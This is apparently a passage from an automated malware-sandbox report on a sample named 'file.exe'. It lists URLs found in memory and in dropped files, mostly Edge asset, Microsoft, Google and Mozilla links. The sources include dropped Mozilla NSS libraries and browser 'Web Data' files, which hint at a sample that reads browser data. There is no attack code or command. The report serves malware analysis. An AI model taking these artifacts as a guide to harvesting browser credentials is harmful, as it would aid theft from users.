Source: file.exe, 00000000.00000003.2456807657.0000000023A7D000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, IDHIDBAE.0.dr, DGDBKFBA.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.2688121262.00000000013F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2456807657.0000000023A7D000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, IDHIDBAE.0.dr, DGDBKFBA.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: cfb3a9bf-ec47-42f8-948f-67466d51b645.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log0.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log0.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log0.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.15.dr, 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.15.dr, 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: HubApps Icons.15.dr, 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.15.dr, 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log0.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: HubApps Icons.15.dr, 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.15.dr, 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.15.dr, 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.15.dr, 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log0.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_336.7.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_336.7.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_336.7.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_336.7.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://gaana.com/
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: AEBGIEGCFHCFHIDHIJEC.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://m.kugou.com/
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://m.vk.com/
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://music.amazon.com
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://music.apple.com
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://music.yandex.com
Source: 000003.log3.15.dr	String found in binary or memory: https://ntp.msn.com/
Source: QuotaManager.15.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: Session_13376869171927577.15.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.15.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://open.spotify.com
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_336.7.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: CFIIIJJKJKFHIDGDBAKJEBKEGC.0.dr	String found in binary or memory: https://support.mozilla.org
Source: CFIIIJJKJKFHIDGDBAKJEBKEGC.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: CFIIIJJKJKFHIDGDBAKJEBKEGC.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://tidal.com/
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.15.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.15.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.15.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
